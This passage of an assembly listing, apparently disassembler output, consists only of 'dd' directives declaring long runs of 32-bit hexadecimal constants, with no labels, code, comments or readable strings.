		dd 98EB5AE4h, 99414E7Eh, 0CA66C06Fh, 2580D3Dh, 0BB4A7069h
		dd 698488E2h, 5368024Ah, 61CC5E58h, 0CCC84973h,	0E52DC145h
		dd 0F97B05h, 1BA2745Dh,	43485BE9h, 55EBD7A0h, 41D60F0Dh
		dd 13D6BA3h, 4415CB06h,	3509BA52h, 0EF903654h, 58206E05h
		dd 0AD97D252h, 55E9169Ch, 0D0BF94C4h, 0E3CA152h, 0C3046176h
		dd 0AFEB969Fh, 3117BEA8h, 0C5CF6D1h, 0A958BE9h,	0B3F0BDF6h
		dd 280BBA94h, 811502C3h, 979FD58h, 0CE8BE2AFh, 693C2EE0h
		dd 93046FEBh, 97A3FFBEh, 36C0226h, 347E036Fh, 4D271275h
		dd 10C65CF7h, 630E5B93h, 4BCB67D8h, 5A32BDC2h, 127A22C7h
		dd 7F60E74Bh, 0E5558C7h, 6911BE56h, 1E25FEBh, 4E068F80h
		dd 0EEEC3F3Ch, 68645002h, 6B7FE916h, 12160160h,	29B3AD1Bh
		dd 96FE90F0h, 5090B079h, 0BD493F1Ch, 0C129BB82h, 4786361h
		dd 568DD80h, 0C016BD4Bh, 0D3F5012Fh, 225F2D28h,	456FC1ECh
		dd 0E568043Bh, 0E6E9046Ah, 3A7BA4F9h, 4F4F58C6h, 2AE99D88h
		dd 8994E2D0h, 0C542D07h, 3F0D4350h, 3C513E24h, 57A3596h
		dd 0BB293E00h, 9CE9A623h, 0A8CA12EFh, 0E2AFB55Dh, 0F46D8997h
		dd 5B1625A3h, 3BD85620h, 4125685Ah, 3387546h, 74BF4B39h
		dd 56E3C206h, 0BF88E755h, 350BE8B0h, 0CB1242A4h, 0CCAE8969h
		dd 0C8090187h, 0F278E0E9h, 43030B58h, 0A3C94AE1h, 30C270F3h
		dd 0BEE91409h, 500C7E76h, 0B9801361h, 687A17A2h, 0CDDDA146h
		dd 0E8FC7ED5h, 0E408E5B1h, 7A1839CDh, 30C0C02h,	2F83096Bh
		dd 0CED088E9h, 7E05548h, 5A4B3CC9h, 0DC4E53C2h,	7FE18BBFh
		dd 0BFF3260h, 62CE6880h
		dd 463F936Fh, 0D7D83102h, 81052644h, 517CEDEFh,	0C56CC0FFh
		dd 345AEE23h, 0F16ADCA5h, 500B0242h, 7CFB1460h,	271ECA3Fh
		dd 0E8352D7h, 6ECE041Fh, 44ADCFC0h, 0C1055A0Ch,	8AE907E7h
		dd 77FE2BE0h, 80214EC5h, 968518Ah, 3E5B0A3Ah, 0D4F92F59h
		dd 0ECE58EADh, 622C567h, 0A4301CEBh, 0FCB9357Fh, 7A02093Bh
		dd 865D8955h, 18D92AB5h, 0EC8F66C3h, 30D25D54h,	0B567F2BEh
		dd 0E9B114FCh, 72B7AFBFh, 170C98DDh, 1630B7DAh,	814840DCh
		dd 8A655AE1h, 1CAB4A4Ah, 2B14C365h, 0E9F834A1h,	0C73931D1h
		dd 13A5DBFDh, 0E87ECE93h, 2675C45Ch, 578A4509h,	5F860238h
		dd 0A7417AFDh, 27AC2A82h, 8046B0B0h, 660EB32h, 0E9A860C0h
		dd 0B63FB01h, 0B9B25200h, 309AB450h, 2E35E258h,	9442ABD3h
		dd 40DA09B8h, 2F77D581h, 2ABF39BFh, 569372BAh, 0D95BEC69h
		dd 0B4B96F7Eh, 10BFCA05h, 9DB4EB7Ah, 3E239E27h,	7612D95Ch
		dd 861A1F16h, 0C0ABD68h, 4F42C309h, 5B200049h, 0C074DA7Dh
		dd 0C90BD618h, 9A38E945h, 72BE4A29h, 7B7F5E12h,	0B871AD4Bh
		dd 8417C7C8h, 0EB5A8FCCh, 16C1F180h, 68623566h,	0E957E82Eh
		dd 0DD5F28C2h, 1124ABFBh, 0B60C970Ah, 0E70B0269h, 0CF75CC2h
		dd 5D1C94F5h, 979A4597h, 686FCC1Dh, 0A6695D20h,	0F8291ECCh
		dd 3740C12Dh, 0E2015F0Dh, 9AA9ED40h, 0CFBB9B9Fh, 1FF488C5h
		dd 0B37612E7h, 50F4F448h, 62174514h, 808E04A5h,	60A1959Eh
		dd 50ACE6Eh, 0A7685EF1h, 479EE4B9h, 22B0206Dh, 35604F5Fh
		dd 0AB1702C6h, 21B02173h, 68A8404Eh, 21BD3A4Bh,	9C9C793h
		dd 0A29B6E77h, 8A40FDD8h, 0DC825B7Dh, 87460741h, 148DB2D6h
		dd 0C580B774h, 0C1577265h, 340574EEh, 0BB03FFBFh, 21947A4h
		dd 0E91AC2ACh, 185D8CC9h, 9DE685C6h, 5BDE14B8h,	602FF3B3h
		dd 4FD03F66h, 107BED29h, 0C9503875h, 0B7E1EC71h, 18B09080h
		dd 0E934DA7Fh, 82E12302h, 40AC397Bh, 4022E957h,	5828CABDh
		dd 0C368154Ah, 0A110FB2Fh, 0EFAD26F7h, 123B7102h, 19057F30h
		dd 5068A004h, 0A68A80FDh, 0BA683356h, 5A790735h, 0BA2DE963h
		dd 0AB08BC0h, 535E3157h, 98AFD4EFh, 3E178801h, 0C9FD45E0h
		dd 0E71F9804h, 8FE58126h, 3DE66B44h, 6D82C9C6h,	70D8D05Fh
		dd 0B71F9A3Bh, 320875CFh, 9F58288Dh, 0A5530D4Ah, 492C562Fh
		dd 0C1526D7Ch, 574366Eh, 37710BBDh, 0C87F0B38h,	0AA555A70h
		dd 5BC5C0Ch, 92648BE9h,	0DE5DC441h, 71EC80A7h, 0C058E588h
		dd 0D8F307E6h, 0EE27E970h, 50CB1985h, 91B1BAE8h, 5BD94222h
		dd 88CD97Dh, 68068D65h,	35CB35BEh, 14E8C3h, 0EA81CAE1h
		dd 56341A2Dh, 0D8C1DD49h, 0CB3B5A54h, 32AC4AEFh, 7E2FFEA6h
		dd 0EDB068F7h, 61FC2D19h, 0CB818180h, 0BB3B05B3h, 8F01797Bh
		dd 0E94A440Fh, 312F9366h, 3FA617Ch, 2E40364h, 22A06852h
		dd 0ABCEEF85h, 42D15A27h, 0EE0F03E9h, 0EDEF106Bh, 735450F1h
		dd 0BA1FC117h, 0F331FFC1h, 4A70C620h, 0FE63AE5Ah, 84580555h
		dd 0FB0EC467h, 5958B3D1h, 810C48A2h, 0A93E5DB8h, 0A9582C87h
		dd 5C1B7F42h, 0F868C13Dh, 50852325h, 481E4AACh,	0D0573CE5h
		dd 6440C238h, 55462848h, 662E12C0h, 9BC5ACFDh, 5FF544A1h
		dd 6FAD9802h, 629D0F12h, 9411BB16h, 0C504784Bh,	5A13DF47h
		dd 7956F6AFh, 0F268E0B7h, 2605174Ch, 5EBEFC23h,	0B94B44BCh
		dd 0DEA3D20Ah, 8DC0E91Ah, 0D79CC255h, 0A089CD51h, 9669FAD8h
		dd 298B3A06h, 77A8236Fh, 0EAFB2507h, 0DD77890Bh, 571C2196h
		dd 0E255E954h, 3EB30AF2h, 2738EF28h, 654CD1F3h,	0C16FF1Ch
		dd 0E93F5FD9h, 588010A5h, 5A0B9559h, 0C6091195h, 84AC29D5h
		dd 0C8AA482Dh, 31F25378h, 6421274Ah, 112D898Fh,	9D1F7076h
		dd 0EAEC787Eh, 0F82516D7h, 28DCEC06h, 5B4A08EEh, 23E90443h
		dd 0C38F257Dh, 0F1AFA0DCh, 0B0336583h, 28018284h, 0E9584463h
		dd 32C2D21h, 7C29FEA1h,	8AABA5E9h, 617E6518h, 0F52F50ADh
		dd 7C9F2494h, 0F7E9F022h, 7E410269h, 5D812E5h, 637835CEh
		dd 0A4A1658Ah, 9264603Dh, 0FA75191Fh, 49E9DF82h, 0C17B6B9Eh
		dd 89F57F2h, 77671FD7h,	742C61DBh, 0F11B20B7h, 804D4A2h
		dd 0E0E0EE5Eh, 80059D4Eh, 81978420h, 2F5BD58h, 0EA8A40ACh
		dd 9889A606h, 7BB31669h, 35A70988h, 125E2242h, 811A6D6Fh
		dd 0F16493h, 0E74D8809h, 0DB48F74Ah, 7D052616h,	0B20BD21Dh
		dd 26C4803Ch, 134D73E8h, 0FD2EE0E9h, 503A11Bh, 4FFA8B6Eh
		dd 0F9827DEDh, 41580BE9h, 3B876813h, 0ABD28FB2h, 0D5868734h
		dd 2FAF7B44h, 83747656h, 871D2E24h, 8F322FC9h, 175AA3EFh
		dd 3EAF97Fh, 4FEC0135h,	14393F10h, 0EEB3E0D0h, 0BA305BCAh
		dd 3C377602h, 3D796108h, 11DCBB00h, 90717D26h, 4CED8180h
		dd 9F2E2651h, 8821072h,	8910657Dh, 48D0EBE9h, 7AB37EB7h
		dd 1759A960h, 50151430h, 12EBE8ABh, 0B2EF01EAh,	0C3301D2Dh
		dd 75E96BD6h, 46830851h, 0FFB0320h, 7AE6B0F1h, 0FE96C3FDh
		dd 0B6BD8B16h, 7E8E82A5h, 0A1097F09h, 0C39DBDC3h, 0D4F952ABh
		dd 0FFBD7BB0h, 554BE9A0h, 5603E7B3h, 851DD368h,	96F4B6AEh
		dd 663EA50Bh, 4FB2255Ah, 25CC0B99h, 868900B8h, 0E67E3DA5h
		dd 0D295EB7Dh, 3956BD92h, 7608AB09h, 4AFCEBB2h,	0A75BB9B9h
		dd 0D2E4B247h, 61E224A5h, 0D03DC036h, 5194B570h, 5EF53104h
		dd 0F0B1E0BBh, 0FAEC6BEDh, 8418ADF5h, 680255C4h, 0B7D92A7Bh
		dd 0A54F35A6h, 0D570B02h, 1DDB1400h, 4FE979F4h,	0DC2C125Ch
		dd 9970B79Bh, 8D3B7D95h, 0AC62FBE9h, 65838411h,	0FB2C6B4Dh
		dd 0BCAAC4CBh, 8FDAF15Ch, 7E99C96Bh, 0E6E70793h, 0CB7EED32h
		dd 977F1783h, 0E9097DDFh, 0EAF15F52h, 64F5123Ch, 0C24B3DFEh
		dd 6E29EAA7h, 0B4A1D8E4h, 18117B1Bh, 310269F9h,	0F6BFE9F0h
		dd 7062BE54h, 0AF680198h, 833D6B49h, 8BC09D2Bh,	0C52DE986h
		dd 0DC5C8920h, 0D589C8D9h, 3F2AE65Eh, 95F9D27Ch, 3621A0E6h
		dd 55E94138h, 0FADB93A0h, 52CDAF01h, 0F46F4837h, 15B62F26h
		dd 73C7DC27h, 7B182217h, 0F99B39AAh, 42B286Fh, 32DA685Ch
		dd 57CD60EAh, 3703BE56h, 0BF7B4212h, 310B2533h,	0AC55DD84h
		dd 5559279Ch, 1361DC62h, 11A65113h, 0FB293A79h,	12297434h
		dd 0B2BDA38h, 6FDC093Ch, 1B9BC278h, 0E862541Ah,	9B04F3Ah
		dd 6088B450h, 0FE03E413h, 0B39C95h, 5B6356B8h, 0B175352Eh
		dd 0C0E8C94Ah, 70069B04h, 0ED1FE7Ch, 0FC3E8CBBh, 0DCE4B7CEh
		dd 775897E0h, 16AE4E5Fh, 8E28AA67h, 27874A8Eh, 0AEFC8396h
		dd 0FAED104Ah, 0A344C301h, 442D5877h, 0C5ECB206h, 21E016E9h
		dd 7FA952Dh, 64685B0Ch,	0BEA4211Ch, 45713D9h, 0EC8EE4AAh
		dd 7B568B5Bh, 0DD6181BCh, 0A8EAD159h, 4370E604h, 3E76CC31h
		dd 0D13F7890h, 5839DA0h, 0F4960481h, 9457FC7Eh,	0CD7E265Ah
		dd 0C3805880h, 0E4DBF616h, 653BFCD3h, 0C1B91C72h, 6B1541EDh
		dd 1105EE40h, 8309067Bh, 3C4998F1h, 0F8A2CA39h,	3FBCBA80h
		dd 4810243h, 0FB264EE2h, 0EDDE8228h, 51C7A9D1h,	651F44F6h
		dd 0FB295E01h, 97FD7113h, 79785A2Fh, 987B8525h,	81CE6AA8h
		dd 801E7A89h, 0C047C81Ah, 8212E6ADh, 60539161h,	5614DBEBh
		dd 1292280Fh, 77AA8FC5h, 2C03298h, 5A0B3055h, 20DA9A6Dh
		dd 97F43CD7h, 34BB8E4Ah, 7A7180C4h, 4B586F1Ah, 6C5B2745h
		dd 7DE9F12h, 0F9AB881h,	0CFFC0986h, 6F3A3A25h, 0F8467D83h
		dd 91D84063h, 975FE8A8h, 0F2CD93E1h, 12789920h,	0A874A124h
		dd 7A4E027Fh, 6A017753h
		dd 1C080C1Fh, 177613A9h, 57250130h, 0F5FDE9h, 1A5BD808h
		dd 605E8C0h, 5ED75840h,	7E5AA0C9h, 1BB189E6h, 80C9C6F1h
		dd 0F78BD39h, 26E91775h, 0F81034A9h, 598E5C09h,	0B2E98377h
		dd 0CBFB8576h, 0B15E7611h, 11AC2F41h, 49700D4Ah, 0D2EC0540h
		dd 0A8AFE9A9h, 0D4DD5C1Ah, 54A10346h, 54F79C2h,	0DE187452h
		dd 0FB861014h, 0AE5B6B4Dh, 7D51C21h, 52037589h,	0E3BFEB94h
		dd 2EF9820h, 107D2568h,	0E969DD19h, 9CF2B517h, 3CC0545h
		dd 53DD60FFh, 59F40E9h,	0DC42199h, 81299709h, 0F0091737h
		dd 0D057376h, 0C24E11AEh, 0C8F5D6B4h, 3203E884h, 0EBF844D7h
		dd 8FA2550Bh, 0F703EE9Ch, 5750FAD2h, 3FBA3DA8h,	0AD7999B2h
		dd 5DF48E80h, 0F7286534h, 2500ADDFh, 8127C250h,	211E8E1h
		dd 0E94124F4h, 94A9A205h, 6891B077h, 4E585D31h,	0B0444684h
		dd 7A4A91B7h, 1FD59ACCh, 7827D721h, 6DFF741Ch, 0C81E3AD5h
		dd 9F644CE3h, 70F4F84Ch, 0B08C424Ah, 0F32900B8h, 56D6F77Bh
		dd 175A86E9h, 6720CACDh, 0D5D144D3h, 400B31B8h,	0AB9F0A2Eh
		dd 826555C7h, 5C25EF02h, 92015557h, 0C8BB7577h,	0F1FBA52h
		dd 30BBA81Bh, 0E95AEAFFh, 293FC42Bh, 0B5790EFh,	68E4115Dh
		dd 184BAE25h, 91D9D0Bh,	0EF813973h, 0E9AA40DFh,	0A2566049h
		dd 0DD0520BDh, 20727A58h, 34D8972Eh, 0BF07DA0Eh, 77F2C026h
		dd 9F4DFA39h, 25D1BFE1h, 31930D89h, 29172A3Fh, 4E7CDAB6h
		dd 68BB0541h, 108B3BEh,	458112BFh, 0A82E31C8h, 0F289A003h
		dd 53B4C15Eh, 8349B469h, 7A61CDE8h, 9C180545h, 0E8240B30h
		dd 8A27E9Ch, 27142788h,	74206370h, 0F8302716h, 86BCAFDFh
		dd 789D220Dh, 0B13B397h, 917457B1h, 0A947EE82h,	0DC60D53Ah
		dd 74B5BD8Dh, 508BE971h, 5EEB5F07h, 584B665Dh, 0ED4E21E9h
		dd 5D015B8Ch, 4C757E7Dh, 956FBFBh, 50C18801h, 432578B8h
		dd 0C3C440DBh, 35B92D86h, 0F061D25Fh, 0E0EA04DEh, 3B127E29h
		dd 0EA067660h, 0C1420FE5h, 5D47790Ch, 0D1D03070h, 361F3813h
		dd 8EAD84Ah, 9A6E5E18h,	0C1FE7E26h, 256CE31Ah, 0A0C2DD63h
		dd 0B1A0083Ah, 58834EABh, 7025E31Ch, 10FAA029h,	6554EEF6h
		dd 54BD5878h, 48EA90E1h, 0C73B2C46h, 4F8A99BDh,	0CB3E5916h
		dd 1F7B31A8h, 0F370E2C0h, 5A3B4096h, 0A8B67CB7h, 0A1EB03B4h
		dd 0EF89E70Bh, 0B4FE39EFh, 58B87125h, 57056850h, 5808A76Fh
		dd 4002B600h, 25D13548h, 487029DBh, 7657F2B7h, 4C789801h
		dd 0AFA4FC93h, 0AFA47ABCh, 0E912BCDBh, 4B44B87Ch, 0C8ACCABAh
		dd 0A896A783h, 0C3C5D65Bh, 90B376CCh, 9619D72h,	2993568h
		dd 3BE809A9h, 0F303BD5Fh, 31E1E69Dh, 8DE4C7FDh,	0EE40FFADh
		dd 5318264Bh, 2A1C0245h, 7CE20EBCh, 4A304014h, 5D30BF3Fh
		dd 946B8B6h, 38723158h,	8E599A7Ch, 0CD085ADh, 2528BC26h
		dd 0C462203Ah, 44E65B2h, 64FC16B5h, 0BAF14414h,	0E0E152A3h
		dd 31E32E99h, 752E1AC1h, 46376E6Ah, 0A896D5E9h,	996C682Dh
		dd 3E4BACBh, 0A10E4E0Fh, 66260CDh, 4E786200h, 0C4BAC381h
		dd 0ED265AEBh, 9805857h, 8563E52Dh, 6CC15A4Bh, 52928A1Dh
		dd 2F3109ACh, 0F607F21Bh, 0E388537Ch, 0C1FEDD25h, 0CC2ACDF1h
		dd 0D09FD8C5h, 9F5F25Ch, 0EEB652BEh, 4B3F5857h,	591AF40h
		dd 0A032F801h, 555805C1h, 4A823BC6h, 0C2078C2Dh, 0ED4C02A7h
		dd 1B78E922h, 172680D2h, 8F2DD78Ah, 8C35C5C9h, 1B855AB2h
		dd 6452BE6Dh, 61F3B501h, 852A0D80h, 4819018Ah, 0D511A06Eh
		dd 0AD5F82EDh, 79798468h, 7F19C98h, 898B5678h, 0E85BD47Eh
		dd 4EF8E950h, 535C23C7h, 6A458CC9h, 0B093B137h,	0B6BA8587h
		dd 6530106Bh, 4D5D3575h, 7821BF0Ah, 49026186h, 0E8F55A42h
		dd 2C08E503h, 170D0B37h, 0EF655303h, 732D502Ah,	40B67961h
		dd 0C001C6CDh, 0C03E630h, 0B233E928h, 275D76D6h, 0D6148824h
		dd 1206C025h, 259344F1h, 294C7ED2h, 68472D05h, 0A2EE5645h
		dd 2EBF0B5Eh, 3B7AD452h, 0AE3C8B93h, 0FADA85E2h, 0E9DD795Dh
		dd 0D52F0DD6h, 5962E91Ah, 0BF0292F0h, 0DC5449D6h, 2DF15D01h
		dd 4A8F5E62h, 7AD2840Bh, 0E6A4E5EFh, 0BFC41282h, 20A173DFh
		dd 85AC5BE9h, 0AB8A30AAh, 8690E188h, 0C8AB60FFh, 0EF70E0B7h
		dd 976824Fh, 9CDC9ABFh,	0C2A1E355h, 60BE0022h, 2301F819h
		dd 667CE681h, 0CD704C1Bh, 0ABD86F05h, 13912DE0h, 86A025D5h
		dd 0BB3D2A1Ah, 0B07EA433h, 288B4A14h, 5A130705h, 0A18B30FFh
		dd 0A255B95Bh, 0B825061h, 0B6229FBDh, 9BF5AD83h, 0B4E90D12h
		dd 0F7056F82h, 0CD5AD7E9h, 0F13920C3h, 14481A16h, 18F2C602h
		dd 6C09FDDDh, 0E9B9E057h, 0AB7A4E2Bh, 5B97A64h,	251A9B1Ch
		dd 4228CCFFh, 4BD21611h, 0D3AB9B24h, 2AE15E52h,	7CE86E7Eh
		dd 796E54CFh, 51CCA732h, 0BA4593BDh, 5F50CCADh,	46D6B7D1h
		dd 602734A6h, 4AB668CDh, 74A4306Dh, 2E5F0A43h, 0C340EFE2h
		dd 9A1017DBh, 7EBD016Dh, 3F18CE1Ah, 68C29B01h, 2D31B209h
		dd 0B33AB5F9h, 0C50A17AEh, 7F1026BDh, 685104DAh, 5BAC593Eh
		dd 0EF57D5F7h, 0B9127C9Fh, 95E3AB5Dh, 0AFB4F084h, 7D852AA9h
		dd 0C763FF62h, 578F01D5h, 8D2569BFh, 6C1FED6Dh,	5DEFA084h
		dd 0E97AC533h, 81149442h, 0CE283023h, 51A8FB63h, 0E92FC1B5h
		dd 81CBC862h, 0F6FC0AF1h, 3CBC9F9Bh, 136C33FFh,	0FF84BBA7h
		dd 0B1F42CCCh, 58EA01D1h, 0F756F112h, 881DCB6h,	23033E5Dh
		dd 87BE314Dh, 0D009AB6Ah, 2987722h, 28804AB2h, 6964FEF9h
		dd 2450E787h, 3ECC569Fh, 0BD502992h, 0CEFE7B8Bh, 30353B0Eh
		dd 49F6C02Eh, 0DE3C7C60h, 106345AAh, 0A0E68241h, 0C31D2077h
		dd 0BF0AD958h, 0B00A1AC4h, 0DC071670h, 0E8C4D1Dh, 624C0B8h
		dd 29500F30h, 881E0FAh,	0FB812A5Fh, 9E07FEE6h, 0F41CF1C5h
		dd 0B123C5Eh, 0A9EC0575h, 93D3871Ch, 12D717F2h,	0A715EC1Fh
		dd 0C66A4BE2h, 95629A4Ch, 18963C7h, 0BF0E96C6h,	0E9901C66h
		dd 7B282A2Dh, 96DF4B4Ch, 7102955Ch, 5904A542h, 4968BDB4h
		dd 845F0002h, 3274FE61h, 0C7D461BEh, 9A680064h,	4FDBB529h
		dd 0CC17B502h, 90306C49h, 0B2507E2Eh, 15EA094Eh, 0A1564A3Bh
		dd 26001CA8h, 294C6A50h, 1E815AD3h, 647846F3h, 0DCC301EAh
		dd 703BAD4Eh, 16059415h, 0D901652Ah, 81FFE84h, 0FAF0B349h
		dd 3171BD40h, 5F617A0Bh, 0F1F86939h, 6E47AE5h, 0BC8C98E1h
		dd 0F95A92CEh, 487E10B2h, 0A490AF4Ah, 16C83110h, 341ECA68h
		dd 0E4E6FF91h, 68C38C4Ah, 4642A127h, 0C36B9569h, 0F5416213h
		dd 76689C60h, 48A8A617h, 0AC10CD54h, 0C1050512h, 2D819E0Fh
		dd 0E6248967h, 0FDFE9F55h, 7B43A85Ch, 4312866Dh, 3D00DBF7h
		dd 2ED93430h, 45460105h, 0BAE92B24h, 7F2C2E39h,	729092Dh
		dd 0C47632C4h, 6C7D560Bh, 7168240Ah, 1EB2BFFEh,	0EC8058D5h
		dd 7B4F1F3Bh, 966FC19Fh, 97097474h, 980BE682h, 0FE2D5E0Ah
		dd 0FD5993ECh, 5DC98507h, 1D2F98AFh, 1431054Ah,	0F7C25E58h
		dd 0DDA7DE47h, 0D9CA34BAh, 804EB0F5h, 535F8187h, 10E2516Bh
		dd 584A2658h, 993116C2h, 12A54B46h, 25ED655Dh, 0CA3FEE4Eh
		dd 55EA2559h, 0FCBDBB94h, 0BE56C0FAh, 122E2928h, 0DB1C4921h
		dd 9BE4B5A0h, 139D5A7Dh, 0FC97F942h, 0EECE5A74h, 78B486Bh
		dd 0C4F712D2h, 0D1C1F9A2h, 4F680108h, 0FBFE974h, 6450213Fh
		dd 0C50F8F53h, 73EA4D58h, 0C0D194F7h, 203EE089h, 2EAC01Fh
		dd 72738073h, 1695CA3Fh, 2DAE7449h, 0E2F3F4BFh,	6E7BD7C4h
		dd 0E9C242A3h, 290A6043h
		dd 456DE201h, 2CF113DAh, 0E5689F85h, 3F36EA4Dh,	71EEB556h
		dd 15690516h, 0BC9209FFh, 2F7EF7E2h, 61020526h,	5D4BD824h
		dd 0A826C870h, 1F2C4F5Bh, 0D77B6242h, 5F4BB1D9h, 1CD55062h
		dd 4E6813FFh, 0F876AF56h, 0BF7980Dh, 1E906F8Ch,	0A7E9DC60h
		dd 91907F95h, 54CB768h,	2257CF10h, 0D7EE4153h, 72C61BE1h
		dd 39764C1Bh, 0D627FBB9h, 0BFD35927h, 0C4CBFAAEh, 82FC050Ch
		dd 2C87C3B4h, 77357D6h,	27F54262h, 7CA5E9h, 8A67182Eh
		dd 9600BE5Bh, 2968D071h, 6885E9FEh, 3C8324AAh, 800C4CB0h
		dd 0C1E659E1h, 0CB76B270h, 745F6DFCh, 0AE91228Bh, 0D44CA4D2h
		dd 3CE2B1ABh, 24B50C91h, 0A30FBF3Ah, 4F05FC44h,	9EECB25Fh
		dd 0EF176884h, 71658944h, 0F364EF12h, 0A4C73C81h, 8B3063CDh
		dd 601D02DAh, 0E759E976h, 0BAE3C5A4h, 0B531F688h, 273CF8FBh
		dd 67394D6h, 0E1E9F101h, 0F34FF96Ah, 2F6C6D29h,	0ECF893h
		dd 1E120C57h, 255095B9h, 0C7E2375Eh, 0A1454455h, 0E37A725Bh
		dd 8FAED2C4h, 595E60BDh, 986E6102h, 0D5D69C9h, 5C6075D6h
		dd 97362568h, 0B308DAC7h, 83BE0132h, 82112C44h,	0DF015ED4h
		dd 91A2815Bh, 10601F75h, 1B0A2FEh, 1A79E908h, 0A7893C2Eh
		dd 3A8209B7h, 0E0FA40D8h, 6904BC72h, 53992ADFh,	50176102h
		dd 0ED97E72h, 7CA95D08h, 11680D56h, 0C2BDB27h, 0B9542CA2h
		dd 471CDA0Bh, 6428801Bh, 0A05CBC7Eh, 2D524093h,	4A7E73CFh
		dd 0B53F3604h, 5D8882FAh, 41BFD150h, 0CFED2C5h,	300A38Eh
		dd 0E5814679h, 0A0C16F82h, 1775EDCCh, 0AFEF8B91h, 5C020E12h
		dd 7D557179h, 46FE3BE0h, 5A68AC80h, 1360A316h, 0B0AF79B3h
		dd 275B0AFCh, 67AD7261h, 31864B2Eh, 0C1C07F7Ch,	976C5756h
		dd 89C0C259h, 1F86A55h,	0B657D32Dh, 0D5E82941h,	3F762153h
		dd 80DFD810h, 7FEF0A5Bh, 0A524945Fh, 426CEAF3h,	0AC2A4E26h
		dd 2C17DD8Ch, 5CECCAAFh, 5256C232h, 86DADF55h, 3B615F4Ah
		dd 0D06A6660h, 2D9AC147h, 4C5EA13Bh, 0CA710709h, 1CCD0173h
		dd 821C0806h, 7FFB1114h, 0CAE1903Eh, 48B0D1F7h,	9856664Ah
		dd 0D140CCA9h, 11290BEBh, 0A8FF0498h, 5E2F0866h, 4889C94Fh
		dd 2B56BD41h, 10E583B9h, 0A5454016h, 0E02ACC6Fh, 0BBA8940h
		dd 74A653Eh, 64044809h,	31B1E0BCh, 69FED497h, 0CA26B17Dh
		dd 0B35F5B68h, 49978628h, 2B0951Eh, 5A81C1E0h, 0E8FB72Fh
		dd 12547068h, 26858AFAh, 538B801Fh, 3EF68350h, 40589849h
		dd 0C7F60505h, 0EF89CEE4h, 0F84EF2A3h, 6F21017h, 1768A140h
		dd 0EF7BFB11h, 46076612h, 67B55965h, 3BE7AEC1h,	0DAC85103h
		dd 197B252Ch, 414BFB31h, 50C085F3h, 953C9A0Ch, 2940965h
		dd 6E9C1659h, 0D490E7E8h, 5E425450h, 58F8A36Fh,	548807B4h
		dd 0F79268B1h, 0C561F55Eh, 5158385h, 881C719Ah,	2750992Dh
		dd 1DDE6C38h, 44F90720h, 190EE11h, 0BCB39DE9h, 7D60894Fh
		dd 61FA2E72h, 0DE9D2170h, 0E25DE73Ah, 5ADDBFC0h, 0C0294E42h
		dd 0E575EAEFh, 535E3707h, 0F429EB89h, 9457E97Ah, 0A2681751h
		dd 6EA86970h, 0FEEC94CDh, 31EA2F1Ah, 920D975Ch,	0FCE21855h
		dd 9DCCA068h, 7C9A9450h, 5CF194BCh, 0A6ABE5D3h,	14E90BBEh
		dd 0F85F941h, 474FF729h, 0F28D4ED2h, 1336D34Fh,	868BAE79h
		dd 0A625164Ch, 182CB4D7h, 0A4C69E9h, 0EEECA29h,	4D28905Eh
		dd 1733603Ah, 7A1E98C6h, 2A3E4748h, 539DD9C8h, 5A9049E7h
		dd 90954248h, 0C32BB6Ch, 0F72F9E40h, 9B4029C2h,	9E02B531h
		dd 667656B9h, 0EBB88065h, 72B9C5Eh, 0A80705F3h,	428741B8h
		dd 567D1650h, 9B3150F4h, 0DB3925E9h, 4C5733E8h,	81029307h
		dd 0D69252C9h, 0B480616Ch, 0E0E708F1h, 0E6280DE1h, 5B7D9011h
		dd 0ACA112CBh, 1F24A911h, 0A7585428h, 15F1EFBh,	11EE8DC3h
		dd 7251E214h, 6936F1A7h, 0DA7A5774h, 80E5201Bh,	2AF28100h
		dd 216B7B11h, 995A48D7h, 8751D227h, 0BEA3BC2h, 0A880FCFAh
		dd 660A11EBh, 0D3489D68h, 7C23B043h, 4203BC24h,	780B52AEh
		dd 6223981h, 4E6E3A32h,	92B7B2CCh, 8796D57Bh, 0F11D1609h
		dd 0E13BF060h, 1D800F44h, 3FD8C781h, 71487C27h,	4E252C50h
		dd 0BDCB357Dh, 0C70892F3h, 0E9DC2F92h, 37C77772h, 0F598B3Dh
		dd 2DE461F3h, 92080745h, 0A4891DDEh, 0BA5C1655h, 1536638h
		dd 807CC268h, 0E319E937h, 2AAF285Bh, 0ECA74F9Fh, 924EB74Bh
		dd 175BA2AFh, 0F9D40ACh, 0DE2D2562h, 54874062h,	23C52BB5h
		dd 0DE40E017h, 55BD809h, 64917918h, 17FDF4BEh, 0E25B09BCh
		dd 270B93B7h, 0D7696274h, 639370B6h, 0A87EE90Bh, 20282F1h
		dd 0DE4D0935h, 794E8897h, 8EDC104h, 0B51697ECh,	1D42FA47h
		dd 7332868h, 0ADF6FEE9h, 44856FD7h, 32FED750h, 0B658E2E3h
		dd 7A57FAB5h, 991D30E3h, 38C9EE81h, 0D1098026h,	0AD428724h
		dd 50135455h, 3CB2A358h, 7A73E095h, 76F4BD8Fh, 2767E84Fh
		dd 0D5214603h, 93F08CD2h, 736824BDh, 823EE852h,	49DDE950h
		dd 45205254h, 8D6C12B7h, 67790036h, 0E9490B6Eh,	0ED86E331h
		dd 0C8114490h, 9422D4Bh, 245C5665h, 8DAB2EF1h, 28B3E5CEh
		dd 0AF052FB0h, 0FC3D49B7h, 917C2D7Dh, 4BA9E978h, 0D2B3A911h
		dd 73D0B4E0h, 0E9A88328h, 4AD3416Ah, 0A6215574h, 3500A0C2h
		dd 530E4D2Fh, 87D801D5h, 3822CF88h, 5EBE605Bh, 0B85080F5h
		dd 0AD030573h, 0F7E8D123h, 1BF9C0D0h, 0B227DB6h, 54AE0B48h
		dd 324C07Dh, 32F11316h,	766105Bh, 0EF5D7D69h, 0EDE91F08h
		dd 0FFE90BFDh, 59772342h, 0D20549F9h, 0FCEC6E9h, 627DE77h
		dd 42AF5385h, 0D3D06EE9h, 0ACF5BF5Ah, 9A9817Fh,	73ABFCC9h
		dd 54C25CBEh, 0A7B9E55Dh, 0B748B675h, 0C7B4F7F8h, 190183C8h
		dd 1454678h, 8D6BB888h,	2DE8813Bh, 44A81E2Bh, 4A7A7DD4h
		dd 0F08BC20Fh, 8146D368h, 1CD5F607h, 4BC261B4h,	4B667FCDh
		dd 0BDD19120h, 0BD2CDF4h, 29828195h, 812E92C2h,	0DC09375Dh
		dd 0F85C212Fh, 0D240277Ah, 45E1200Bh, 0B4EE8009h, 71DC8228h
		dd 0EA68055Ah, 941F8F64h, 494C72C9h, 0F56EE700h, 6404F032h
		dd 1D9BF1A8h, 5D71C316h, 9E4BD2B4h, 8B4D1D17h, 0CEFD6723h
